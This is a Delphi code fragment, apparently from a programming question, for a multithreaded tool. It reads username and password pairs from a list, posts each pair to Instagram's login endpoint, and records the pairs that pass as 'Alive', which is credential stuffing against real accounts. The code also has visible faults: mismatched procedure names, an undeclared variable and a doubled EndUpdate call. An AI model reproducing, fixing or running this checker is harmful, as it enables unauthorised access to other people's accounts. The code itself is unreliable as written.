type
   procedure SetInProcess(const Value: Boolean);
private
   FInProcess: Boolean;
   property inProcess: Boolean read FInProcess write SetInProcess;
public
   procedure FlushData;
   procedure Retriever(const input: TOmniValue; var output: TOmniValue);
  ...
  procedure TForm1.SetInProcess(const Value: Boolean);
  var
    I: Integer;
  begin
    if Value = InProcess then exit;
    memo1.ReadOnly := Value;
    FInProcess := Value;
    if Value then
     Memo1.Lines.Clear;
     Timer1.Enabled := Value;
     If not Value then
     begin
       FlushData;
       pipeline := nil;
     end;
   end;

 procedure TForm1.Timer1Timer(Sender: TObject);
 begin
   If not InProcess then exit;
    FlushData;
   if Pipeline.Output.IsFinalized then
    InProcess := False;
   end;
procedure TForm1.StartButton(Sender: TObject);
var
  i      : integer;
 urlList : TStrings;
 U, S    : string;
 value   : TOmniValue;
begin
  urlList := Memo2.Lines;
  pipeline := Parallel.Pipeline;

  pipeline.Stage(Retriver).NumTasks(StrToInt(Edit12.Text)).Run;

  for U in urlList do
   pipeline.Input.Add(U);
   pipeline.Input.CompleteAdding;
   inProcess := True;
 end;
procedure TForm1.FlushData;
var v: TOmniValue;
begin
  if pipeline = nil then exit;
  if pipeline.Output = nil then exit;

  Memo1.Lines.BeginUpdate;
  try
    while pipeline.Output.TryTake(v) do
    Memo1.Lines.Add(v.AsString);

    Memo1.Lines.EndUpdate;
 except
   on E: Exception do
   begin
     Memo1.Lines.Add(E.Message);
   end;
 end;
  Memo1.Lines.EndUpdate;
end;

procedure TForm1.Retriver(const input: TOmniValue; var output: TOmniValue);
var
  lHTTP                 : TIdHTTP;
  Params                : TStrings;
  Reply,String1,String2 : string;
begin
  X      := Input.AsString;
  Params := TStringList.Create;
  string1   := Extract1(X);
  string2   := Extract2(X);;

  Params.Add('username=' + string1);
  Params.Add('password=' + string2);

  lHTTP := TIdHTTP.Create(nil);
  try
  ...
  Reply := lHTTP.Post('https://www.instagram.com/accounts/login/ajax/', Params);
    if AnsiContainsStr(Reply, 'no')
    then
    begin
      Alive.Add(string1+string2+' Client ok'); ///Alive is Global Var stringlist created earlier
    end;
  except
     on E: EIdHTTPProtocolException do
         Exit
  end;
end;